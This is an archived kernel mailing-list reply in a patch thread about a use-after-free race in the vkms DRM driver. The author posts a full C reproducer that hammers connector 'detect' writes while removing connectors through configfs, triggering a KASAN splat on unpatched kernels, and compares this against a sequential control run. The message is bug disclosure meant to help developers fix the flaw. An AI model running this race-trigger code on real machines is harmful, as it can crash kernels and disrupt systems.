The Linux Kernel Mailing List
 help / color / mirror / Atom feed
From: Ibrahim Hashimov <security@auditcode.ai>
To: louis.chauvet@bootlin.com
Cc: hamohammed.sa@gmail.com, simona@ffwll.ch, melissa.srw@gmail.com,
	mripard@kernel.org, dri-devel@lists.freedesktop.org,
	linux-kernel@vger.kernel.org
Subject: Re: [PATCH v2] drm/vkms: Fix UAF between connector configfs rmdir and .detect
Date: Wed, 22 Jul 2026 20:42:41 +0200	[thread overview]
Message-ID: <20260722184357.40904-1-security@auditcode.ai> (raw)
In-Reply-To: <3adb0a99-95c0-41dd-a701-efaff37e74b5@bootlin.com>

Here's the reproducer, inline.

  gcc -O2 -o vkms_uaf vkms_connector_uaf.c
  modprobe vkms
  mount -t configfs none /sys/kernel/config   # if not already mounted
  ./vkms_uaf exploit    # concurrent  -> UAF on an unpatched KASAN build
  ./vkms_uaf control    # sequential  -> same work, stays clean

It builds a vkms device with a batch of connectors, keeps writing "detect"
to one connector's status (which walks the whole config->connectors list)
while rmdir'ing the other connectors out from under that walk. On an
unpatched KASAN + DEBUG_LIST build it splats slab-use-after-free in
vkms_connector_detect fairly quickly here (a couple of minutes on a 2-CPU
guest). The control run does the identical work sequentially, so the only
variable is the concurrency.

Needs CONFIG_DRM_VKMS=m, CONFIG_CONFIGFS_FS=y, and ideally CONFIG_KASAN=y +
CONFIG_DEBUG_LIST=y to see the splat; run it as root (configfs is root-only).

---8<--- vkms_connector_uaf.c ---8<---
// vkms: configfs connector rmdir vs vkms_connector_detect UAF race
//
// Bug (v6.19, gpu/drm/vkms):
//   connector_release()  (vkms_configfs.c:568-580)  --rmdir of a connector cfgfs dir-->
//       scoped_guard(mutex, &dev->lock){ vkms_config_destroy_connector(cfg); kfree(connector); }
//       vkms_config_destroy_connector (vkms_config.c:608-613): list_del(&cfg->link); kfree(cfg);
//   vkms_connector_detect() (vkms_connector.c:11-34) iterates the SAME live
//       config->connectors list with vkms_config_for_each_connector == plain
//       list_for_each_entry (vkms_config.h:152-153), holding NO lock (not dev->lock,
//       not RCU). detect is reachable by writing "detect" to
//       /sys/class/drm/<card-conn>/status (drm_sysfs.c status_store -> fill_modes
//       -> drm_helper_probe_single_connector_modes -> .detect).
//   => the unlocked list walk in detect races the locked list_del+kfree in
//      connector_release on the same object -> CWE-362 -> CWE-416 UAF read
//      (and/or CONFIG_DEBUG_LIST __list_del_entry corruption splat).
//
// The mutating (rmdir) side needs root (configfs is root-owned 0755); attacker
// model per the finding is local root / CAP_SYS_ADMIN. We run as root in the VM.
//
// CONTROL vs EXPLOIT: the ONLY differential is concurrency.
//   EXPLOIT  : detect-hammer child runs CONCURRENTLY with the rmdir loop (fork).
//   CONTROL  : the SAME detect-hammer and the SAME rmdir loop run SEQUENTIALLY
//              (hammer finishes, then rmdir) -> the iterator never overlaps the
//              locked list_del+kfree -> no UAF.
//
// Oracle = kasan: a win aborts the guest with a KASAN slab-use-after-free (or a
// DEBUG_LIST/list_del corruption) splat in vkms_connector_detect / __list_*.
// Userspace cannot observe the win (the kernel panics via panic_on_warn before
// the racing syscall returns), so the splat in the console log IS the proof.
// A miss just loops until the deadline and exits 0 (not a failure).

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <stdint.h>
#include <time.h>
#include <signal.h>
#include <sys/syscall.h>

#define VBASE "/sys/kernel/config/vkms"
#define DRMDIR "/sys/class/drm"
#define DEVNAME "r"
#define DEVDIR VBASE "/" DEVNAME
#define NCONN 31

/* pin the calling task to a single CPU so the detect-walk and the rmdir free
 * run on different cores for a real, wide overlap window (smp>=2). */
static void pin_cpu(int cpu)
{
	unsigned long mask = 1UL << cpu;
	syscall(SYS_sched_setaffinity, 0, sizeof(mask), &mask);
}

static int wfile(const char *path, const char *val)
{
	int fd = open(path, O_WRONLY);
	if (fd < 0)
		return -1;
	ssize_t n = write(fd, val, strlen(val));
	int e = errno;
	close(fd);
	if (n < 0) { errno = e; return -1; }
	return 0;
}

/* build a fresh, minimally-valid vkms device 'r' with NCONN connectors.
 * layout that passes vkms_config_is_valid():
 *   1 primary plane (type=1) with possible_crtcs -> c0
 *   1 crtc c0
 *   1 encoder e0 with possible_crtcs -> c0
 *   NCONN connectors n0..n{NCONN-1} each possible_encoders -> e0
 */
static int build_device(void)
{
	char p[512], tgt[512];

	if (mkdir(DEVDIR, 0755) < 0 && errno != EEXIST) return -1;

	if (mkdir(DEVDIR "/planes/p0", 0755) < 0 && errno != EEXIST) return -1;
	if (wfile(DEVDIR "/planes/p0/type", "1") < 0) return -1; /* PRIMARY */

	if (mkdir(DEVDIR "/crtcs/c0", 0755) < 0 && errno != EEXIST) return -1;
	if (mkdir(DEVDIR "/encoders/e0", 0755) < 0 && errno != EEXIST) return -1;

	/* plane possible_crtcs -> c0 */
	snprintf(tgt, sizeof tgt, DEVDIR "/crtcs/c0");
	if (symlink(tgt, DEVDIR "/planes/p0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;
	/* encoder possible_crtcs -> c0 */
	if (symlink(tgt, DEVDIR "/encoders/e0/possible_crtcs/l") < 0 && errno != EEXIST) return -1;

	/* connectors, each possible_encoders -> e0 */
	snprintf(tgt, sizeof tgt, DEVDIR "/encoders/e0");
	for (int i = 0; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
		if (mkdir(p, 0755) < 0 && errno != EEXIST) return -1;
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
		if (symlink(tgt, p) < 0 && errno != EEXIST) return -1;
	}
	return 0;
}

static int enable_device(void)
{
	return wfile(DEVDIR "/enabled", "1");
}

/* best-effort teardown; ignores errors (exploit already removed some connectors) */
static void teardown_device(void)
{
	char p[512];
	wfile(DEVDIR "/enabled", "0");
	for (int i = 0; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i); unlink(p);
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i); rmdir(p);
	}
	unlink(DEVDIR "/encoders/e0/possible_crtcs/l"); rmdir(DEVDIR "/encoders/e0");
	unlink(DEVDIR "/planes/p0/possible_crtcs/l"); rmdir(DEVDIR "/planes/p0");
	rmdir(DEVDIR "/crtcs/c0");
	rmdir(DEVDIR);
}

/* connector sysfs names contain a '-' (e.g. "card1-Virtual-1"); plain cards
 * ("card1") do not. snapshot the set of connector dirs. */
#define MAXSNAP 512
static char snap[MAXSNAP][80];
static int nsnap;

static void snapshot(void)
{
	nsnap = 0;
	DIR *d = opendir(DRMDIR);
	if (!d) return;
	struct dirent *e;
	while ((e = readdir(d)) && nsnap < MAXSNAP) {
		if (strchr(e->d_name, '-') && strncmp(e->d_name, "card", 4) == 0)
			snprintf(snap[nsnap++], 80, "%s", e->d_name);
	}
	closedir(d);
}

static int in_snap(const char *name)
{
	for (int i = 0; i < nsnap; i++)
		if (strcmp(snap[i], name) == 0)
			return 1;
	return 0;
}

/* find a connector-status path that appeared since snapshot() */
static int find_new_status(char *out, size_t outlen)
{
	DIR *d = opendir(DRMDIR);
	if (!d) return -1;
	struct dirent *e;
	int found = -1;
	while ((e = readdir(d))) {
		if (!strchr(e->d_name, '-') || strncmp(e->d_name, "card", 4) != 0)
			continue;
		if (in_snap(e->d_name))
			continue;
		char cand[512];
		snprintf(cand, sizeof cand, DRMDIR "/%s/status", e->d_name);
		if (access(cand, W_OK) == 0) {
			snprintf(out, outlen, "%s", cand);
			found = 0;
			break;
		}
	}
	closedir(d);
	return found;
}

/* tight detect-reprobe loop on one connector status file; whole config list is
 * walked on every write regardless of which connector we poke. */
static void hammer_detect(const char *status, volatile int *stop, int budget)
{
	int fd = open(status, O_WRONLY);
	if (fd < 0)
		return;
	long i = 0;
	while (1) {
		if (stop && *stop) break;
		if (budget && i >= budget) break;
		lseek(fd, 0, SEEK_SET);
		if (write(fd, "detect", 6) < 0) {
			/* connector may disappear on device destroy; keep going */
		}
		i++;
	}
	close(fd);
}

/* rmdir connectors n1..n{NCONN-1} as fast as possible (n0 kept as a stable
 * probe target). each rmdir triggers connector_release -> list_del + kfree. */
static void rmdir_connectors(void)
{
	char p[512];
	for (int i = 1; i < NCONN; i++) {
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d/possible_encoders/l", i);
		unlink(p);
		snprintf(p, sizeof p, DEVDIR "/connectors/n%d", i);
		rmdir(p);
	}
}

int main(int argc, char **argv)
{
	int concurrent = (argc > 1 && strcmp(argv[1], "exploit") == 0);
	const char *mode = concurrent ? "exploit" : "control";
	setvbuf(stdout, NULL, _IONBF, 0);

	/* one validated round first: if we cannot even build+enable, it is a real
	 * setup failure -> exit 3 so run.sh surfaces SETUP-FAIL. */
	teardown_device();
	if (build_device() < 0) {
		printf("SETUP-FAIL build_device errno=%d (%s)\n", errno, strerror(errno));
		return 3;
	}
	snapshot();
	if (enable_device() < 0) {
		printf("SETUP-FAIL enable errno=%d (%s)\n", errno, strerror(errno));
		teardown_device();
		return 3;
	}
	char status[512];
	if (find_new_status(status, sizeof status) < 0) {
		printf("SETUP-FAIL no new connector status file after enable\n");
		teardown_device();
		return 3;
	}
	printf("[%s] setup OK, probe=%s NCONN=%d\n", mode, status, NCONN);
	teardown_device();

	int secs = concurrent ? 175 : 10;
	time_t deadline = time(NULL) + secs;
	long iter = 0;

	while (time(NULL) < deadline) {
		teardown_device();
		if (build_device() < 0) { teardown_device(); continue; }
		snapshot();
		if (enable_device() < 0) { teardown_device(); continue; }
		if (find_new_status(status, sizeof status) < 0) { teardown_device(); continue; }

		if (concurrent) {
			/* DIFFERENTIAL: detect walk runs CONCURRENTLY with rmdir,
			 * pinned to separate CPUs for a wide overlap window. */
			pid_t c = fork();
			if (c == 0) {
				pin_cpu(0);
				hammer_detect(status, NULL, 0); /* until killed */
				_exit(0);
			}
			pin_cpu(1);
			rmdir_connectors();
			kill(c, SIGKILL);
			waitpid(c, NULL, 0);
		} else {
			/* CONTROL: same work, SEQUENTIAL — no overlap, no race */
			int stop = 0;
			hammer_detect(status, &stop, 1500);
			rmdir_connectors();
		}

		teardown_device();
		iter++;
		if (iter % 25 == 0)
			printf("ITER=%ld mode=%s\n", iter, mode);
	}

	printf("done mode=%s iters=%ld (no splat -> miss; kasan splat, if any, is above)\n",
	       mode, iter);
	return 0;
}

---8<---

Ibrahim

      parent reply	other threads:[~2026-07-22 18:44 UTC|newest]

Thread overview: 5+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-07-09 15:06 [PATCH] drm/vkms: Fix UAF between connector configfs rmdir and .detect Ibrahim Hashimov
2026-07-09 19:51 ` [PATCH v2] " Ibrahim Hashimov
2026-07-22 15:56   ` Louis Chauvet
2026-07-22 18:31     ` Ibrahim Hashimov
2026-07-22 18:42     ` Ibrahim Hashimov [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20260722184357.40904-1-security@auditcode.ai \
    --to=security@auditcode.ai \
    --cc=dri-devel@lists.freedesktop.org \
    --cc=hamohammed.sa@gmail.com \
    --cc=linux-kernel@vger.kernel.org \
    --cc=louis.chauvet@bootlin.com \
    --cc=melissa.srw@gmail.com \
    --cc=mripard@kernel.org \
    --cc=simona@ffwll.ch \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox